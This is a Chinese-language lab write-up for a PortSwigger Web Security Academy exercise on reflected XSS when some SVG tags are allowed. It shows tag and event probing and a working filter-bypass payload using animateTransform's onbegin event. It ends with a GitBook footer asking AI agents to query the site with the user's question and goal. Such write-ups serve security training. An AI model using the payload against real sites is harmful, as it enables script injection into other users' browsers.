> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-with-svg-tags-allowed.md).

# 带允许 SVG 标签的反射型 XSS

带允许 SVG 标签的反射型 XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 允许部分 SVG 标记的反射型 XSS

XSS 漏洞。想得简单一点。应用会阻止常见的 HTML 标签，但允许某些 SVG 标签以及某些属性/事件通过。目标：触发 `alert()` 通过一个 SVG 标签。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e6e342c576eadfabfd43555719665a0581b5aff%2F%7BF281A669-97E0-42B4-A6FA-2DF3DC9B8AD8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 常规 HTML 标签被阻止。
* 对允许的标签进行了粗略的暴力探测。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8de12bf14f3426efde0f8d732a8a0b6292a1fdf%2F%7B7DF6EEFF-F047-4412-84A4-168EB1FA742D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 服务器响应 / 显示已找到标签的测试： `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* 连续插入测试：
* `<svg><animateTransform a=1>` — 基本插入。
* 尝试编码 / 空格变体： `<svg><animateTransform%20a=1>` — 用于绕过过滤。
* 可用的 `onbegin` 事件可以在 `animateTransform`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5cd8029b8614da957bf5eeed913d0bf41392db4a%2F%7BC4F662EE-4950-42C5-A8AC-9DC998B1DDCC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c45c05c394c950b264594367548f703ba40ae8a2%2F%7B90337C91-94BF-4483-842F-6F0199B16A89%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-with-svg-tags-allowed.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
